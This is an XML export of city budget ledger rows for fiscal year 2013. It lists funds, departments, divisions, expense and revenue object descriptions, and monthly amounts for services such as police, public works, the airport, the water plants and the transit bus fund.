<row _id="3823"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>77</fund_id><fund_name>Parking Authority Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>236</division_id><division_name>PARKING AUTHORITY</division_name><object>404230.0</object><object_description>P/A BD FUND INT-DEP/INVEST</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="3824"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-7640.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-7640.0</total></row>
<row _id="3825"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-29232.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-29232.0</total></row>
<row _id="3826"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-22423.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-22423.0</total></row>
<row _id="3827"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>569340.0</object><object_description>EMERGENCY ACCOMODATIONS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="3828"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1025.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>79</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1104.0</total></row>
<row _id="3829"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25625.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25625.0</total></row>
<row _id="3830"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>158550.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>158550.0</total></row>
<row _id="3831"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="3832"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>37700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>37700.0</total></row>
<row _id="3833"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8060.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8060.0</total></row>
<row _id="3834"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>42830.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>42830.0</total></row>
<row _id="3835"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544140.0</object><object_description>STREET MATERIAL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>285782.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>285782.0</total></row>
<row _id="3836"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522139.0</object><object_description>UTIL-WATER-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>137700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>137700.0</total></row>
<row _id="3837"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>32000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>32000.0</total></row>
<row _id="3838"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="3839"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555951.0</object><object_description>FAC MAINT-KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="3840"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533221.0</object><object_description>BLDG/STR MAINT-COM FAC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>90000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>90000.0</total></row>
<row _id="3841"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15325.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15325.0</total></row>
<row _id="3842"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>195531.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>195531.0</total></row>
<row _id="3843"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4265.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4265.0</total></row>
<row _id="3844"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>541.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>541.0</total></row>
<row _id="3845"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>195564.0</july><august>0</august><september>0.0</september><october>-2177.0</october><november>0</november><december>0</december><january>0.0</january><february>1934</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>195321.0</total></row>
<row _id="3846"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>309.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>309.0</total></row>
<row _id="3847"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1063.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>11</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1074.0</total></row>
<row _id="3848"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>411.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>411.0</total></row>
<row _id="3849"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-1678.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1678.0</total></row>
<row _id="3850"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1116.0</july><august>0</august><september>0.0</september><october>-12.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1104.0</total></row>
<row _id="3851"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>731.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>731.0</total></row>
<row _id="3852"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3289.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>33</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3322.0</total></row>
<row _id="3853"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2728.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>27</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2755.0</total></row>
<row _id="3854"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>661933.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>661933.0</total></row>
<row _id="3855"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>19410.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>194</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19604.0</total></row>
<row _id="3856"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2566488.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>98009</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2664497.0</total></row>
<row _id="3857"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409071.0</object><object_description>ROSIE'S GIRLS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-6932.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6932.0</total></row>
<row _id="3858"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402240.0</object><object_description>AIRPORT - EVENTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-73500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-73500.0</total></row>
<row _id="3859"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400580.0</object><object_description>FILMING PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-143465.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-143465.0</total></row>
<row _id="3860"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400610.0</object><object_description>USE OF PUBLIC PROPERTY PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-468795.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-468795.0</total></row>
<row _id="3861"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>47915.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>47915.0</total></row>
<row _id="3862"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>766000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>766000.0</total></row>
<row _id="3863"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544013.0</object><object_description>CARTRIDGE FILTER REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>52430.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>52430.0</total></row>
<row _id="3864"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544199.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="3865"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3900.0</total></row>
<row _id="3866"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>404150.0</object><object_description>LIBRARY COMPUTER SESSIONS FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-60000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-60000.0</total></row>
<row _id="3867"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>588040.0</object><object_description>COMMUNICATIONS SYSTEMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1700.0</total></row>
<row _id="3868"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562701.0</object><object_description>OLDER YOUTH SET-ASIDE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3869"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>401950.0</object><object_description>BLANKET UTILITY PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-46401.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-46401.0</total></row>
<row _id="3870"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>402162.0</object><object_description>FILMING RECEIPTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6000.0</total></row>
